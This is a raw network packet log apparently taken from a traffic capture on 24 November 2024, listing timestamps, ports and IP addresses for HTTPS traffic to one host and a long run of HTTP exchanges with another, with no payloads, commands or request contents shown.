Nov 24, 2024 08:44:07.496823072 CET	49784	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:07.497515917 CET	49784	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:07.497534990 CET	443	49784	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:07.497550011 CET	49784	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:07.497555971 CET	443	49784	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:07.501871109 CET	49789	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:07.501910925 CET	443	49789	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:07.501962900 CET	49789	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:07.502252102 CET	49789	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:07.502265930 CET	443	49789	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:07.545922041 CET	443	49785	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:07.545996904 CET	443	49785	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:07.546066999 CET	49785	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:07.546281099 CET	49785	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:07.546299934 CET	443	49785	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:07.546312094 CET	49785	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:07.546319008 CET	443	49785	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:07.549285889 CET	49790	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:07.549345970 CET	443	49790	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:07.549424887 CET	49790	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:07.549578905 CET	49790	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:07.549590111 CET	443	49790	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:07.602652073 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.602667093 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.602823973 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.603080034 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.603091955 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.603154898 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.604006052 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.604160070 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.604201078 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.605432034 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.605736017 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.605775118 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.606466055 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.606621981 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.606659889 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.607443094 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.607589960 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.607626915 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.608689070 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.608840942 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.608890057 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.622515917 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.622670889 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.622709036 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.623187065 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.623342991 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.623378992 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.624243021 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.624402046 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.624471903 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.625252962 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.625305891 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.625370979 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.626354933 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.626470089 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.626508951 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.627578974 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.627708912 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.627747059 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.628762007 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.628865957 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.628907919 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.629945040 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.630047083 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.630084991 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.631108999 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.631220102 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.631258011 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.632271051 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.632400036 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.632436037 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.633457899 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.633575916 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.633614063 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.634676933 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.634794950 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.634831905 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.637995005 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.638005972 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.638017893 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.638030052 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.638042927 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.638066053 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.638381004 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.638637066 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.638669014 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.640114069 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.640126944 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.640172005 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.641194105 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.641206026 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.641254902 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.642155886 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.642312050 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.642354965 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.643225908 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.643379927 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.643425941 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.644439936 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.644610882 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.644644976 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.645536900 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.645689011 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.645730019 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.646797895 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.646958113 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.646996021 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.648190975 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.648202896 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.648261070 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.649101019 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.649260044 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.649298906 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.650372982 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.650523901 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.650567055 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.651633024 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.651791096 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.651829958 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.652585030 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.652859926 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.652899981 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.653978109 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.653990984 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.654033899 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.655056953 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.655210972 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.655249119 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.656347990 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.656358957 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.656394005 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.657463074 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.657614946 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.657658100 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.658736944 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.658746958 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.658792973 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.659791946 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.659948111 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.659986019 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.661062002 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.661078930 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.661112070 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.662193060 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.662348986 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.662393093 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.662637949 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.663378954 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.663389921 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.663431883 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.664483070 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.664768934 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.664810896 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.665714979 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.665883064 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.665920019 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.666817904 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.667114019 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.667154074 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.668061018 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.668217897 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.668252945 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.669295073 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.669437885 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.669470072 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.670419931 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.670594931 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.670633078 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.671663046 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.671806097 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.671839952 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.672905922 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.672919035 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.672952890 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.673998117 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.674175978 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.674209118 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.674897909 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.675029039 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.675060987 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.676084042 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.676688910 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.803771019 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.803788900 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.803833961 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.804339886 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.804394007 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.804428101 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.805538893 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.805619001 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.805655003 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.806803942 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.806881905 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.806926012 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.807873964 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.808001995 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.808042049 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.809084892 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.809174061 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.809222937 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.810254097 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.810347080 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.810383081 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.823788881 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.823896885 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.823939085 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.824208975 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.824317932 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.824352980 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.825108051 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.825202942 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.825237036 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.826328039 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.826433897 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.826478004 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.827501059 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.827678919 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.827714920 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.828661919 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.828779936 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.828818083 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.829827070 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.829924107 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.829966068 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.831006050 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.831115007 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.831149101 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.832351923 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.832499981 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.832555056 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.833390951 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.833508968 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.833621979 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.834573030 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.834688902 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.834728956 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.835772991 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.835886955 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.835927010 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.837001085 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.837138891 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.837176085 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.838124037 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.838253021 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.838290930 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.839287996 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.839390993 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.839432955 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.840467930 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.840590954 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.840631962 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.841675997 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.841774940 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.841814041 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.842847109 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.842884064 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.842926025 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.844074011 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.844146013 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.844189882 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.845221996 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.845319986 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.845355988 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.846394062 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.846487045 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.846518993 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.847594023 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.847692966 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.847726107 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.848777056 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.848925114 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.848969936 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.849946976 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.850058079 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.850095987 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.851126909 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.851252079 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.851291895 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.852334023 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.852433920 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.852478027 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.853492975 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.853616953 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.853657961 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.854737043 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.854865074 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.854907990 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.855887890 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.856030941 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.856071949 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.857081890 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.857089043 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.857105970 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.857144117 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.858268976 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.858351946 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.858387947 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.859411955 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.859535933 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.859570980 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.860785007 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.860868931 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.860907078 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.861790895 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.861892939 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.861932039 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.862984896 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.863107920 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.863152027 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.864320993 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.864331961 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.864373922 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.865336895 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.865452051 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.866508961 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.866564989 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.866667032 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.866719961 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.867743015 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.867834091 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.867871046 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.868889093 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.869004011 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.869165897 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.870122910 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.870213985 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.870264053 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.871278048 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.871381998 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.871424913 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.872452974 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.872575045 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.872618914 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.873806953 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.873817921 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.874180079 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.874835968 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.874958038 CET	80	49781	185.215.113.16	192.168.2.10
